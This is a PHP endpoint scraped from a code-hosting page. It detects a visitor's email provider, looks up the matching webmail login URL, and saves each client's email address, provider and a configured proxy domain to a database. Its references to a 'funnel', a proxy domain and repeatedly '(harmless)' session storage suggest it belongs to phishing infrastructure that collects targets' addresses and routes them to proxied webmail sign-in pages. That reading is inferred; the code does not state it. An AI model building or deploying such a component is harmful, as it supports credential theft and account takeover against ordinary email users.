File size: 3,832 Bytes
9d38145
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
/**
 * route-email.php — provider detection + (harmless) session persistence.
 *
 * Accepts client_id, email. Computes email validity + provider slug, resolves the
 * provider webmail URL, and records the session. Off the critical funnel path.
 */
declare(strict_types=1);

require_once __DIR__ . '/lib.php';

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(204);
    exit;
}

/** Read merged JSON / form / query input. */
function re_input(): array
{
    $in = array_merge($_GET, $_POST);
    $raw = file_get_contents('php://input');
    if (is_string($raw) && $raw !== '') {
        $j = json_decode($raw, true);
        if (is_array($j)) {
            $in = array_merge($in, $j);
        }
    }
    return $in;
}

/** Map an email domain to a canonical provider slug. */
function re_provider(string $email): string
{
    $at = strrpos($email, '@');
    if ($at === false) {
        return 'unknown';
    }
    $domain = strtolower(substr($email, $at + 1));
    $map = [
        'gmail.com' => 'gmail', 'googlemail.com' => 'gmail',
        'outlook.com' => 'outlook', 'outlook.de' => 'outlook',
        'hotmail.com' => 'outlook', 'hotmail.de' => 'outlook',
        'live.com' => 'outlook', 'live.de' => 'outlook',
        'msn.com' => 'outlook',
        'yahoo.com' => 'yahoo', 'yahoo.de' => 'yahoo', 'ymail.com' => 'yahoo',
        'icloud.com' => 'icloud', 'me.com' => 'icloud', 'mac.com' => 'icloud',
        'gmx.de' => 'gmx', 'gmx.net' => 'gmx', 'gmx.com' => 'gmx',
        'web.de' => 'web', 't-online.de' => 'tonline',
        'aol.com' => 'aol', 'aol.de' => 'aol',
        'protonmail.com' => 'proton', 'proton.me' => 'proton',
        'zoho.com' => 'zoho',
        'yandex.com' => 'yandex', 'yandex.ru' => 'yandex',
        'mail.com' => 'mailcom',
    ];
    if (isset($map[$domain])) {
        return $map[$domain];
    }
    // heuristics for common consumer suffixes
    if (str_ends_with($domain, '.gmail.com')) {
        return 'gmail';
    }
    return $domain !== '' ? $domain : 'unknown';
}

/** Webmail URL for a provider slug. */
function re_provider_url(string $slug): string
{
    $urls = [
        'gmail' => 'https://mail.google.com',
        'outlook' => 'https://outlook.live.com',
        'yahoo' => 'https://mail.yahoo.com',
        'icloud' => 'https://www.icloud.com/mail',
        'gmx' => 'https://www.gmx.net',
        'web' => 'https://web.de',
        'tonline' => 'https://webmail.t-online.de',
        'aol' => 'https://mail.aol.com',
        'proton' => 'https://mail.proton.me',
        'zoho' => 'https://mail.zoho.com',
        'yandex' => 'https://mail.yandex.com',
        'mailcom' => 'https://www.mail.com',
    ];
    return $urls[$slug] ?? '';
}

$in = re_input();
$clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? '')));
$email = trim((string) ($in['email'] ?? ''));

$valid = valid_email($email);
$slug = $valid ? re_provider($email) : 'unknown';
$url = re_provider_url($slug);

// persist the (harmless) session + routing
try {
    if ($clientId !== '') {
        ofb_save_session($clientId, $email, $slug);
        $pdo = ofb_db();
        ofb_upsert($pdo, $clientId, [
            'email'     => $email,
            'provider'  => $slug,
            'proxy'     => (string) ofb_env('PROXY_DOMAIN', ''),
            'routed_to' => $url,
            'last_seen' => date('Y-m-d H:i:s'),
        ]);
    }
} catch (Throwable $e) {
    // best-effort
}

echo json_encode([
    'status'   => 'ok',
    'valid'    => $valid,
    'provider' => $slug,
    'url'      => $url,
]);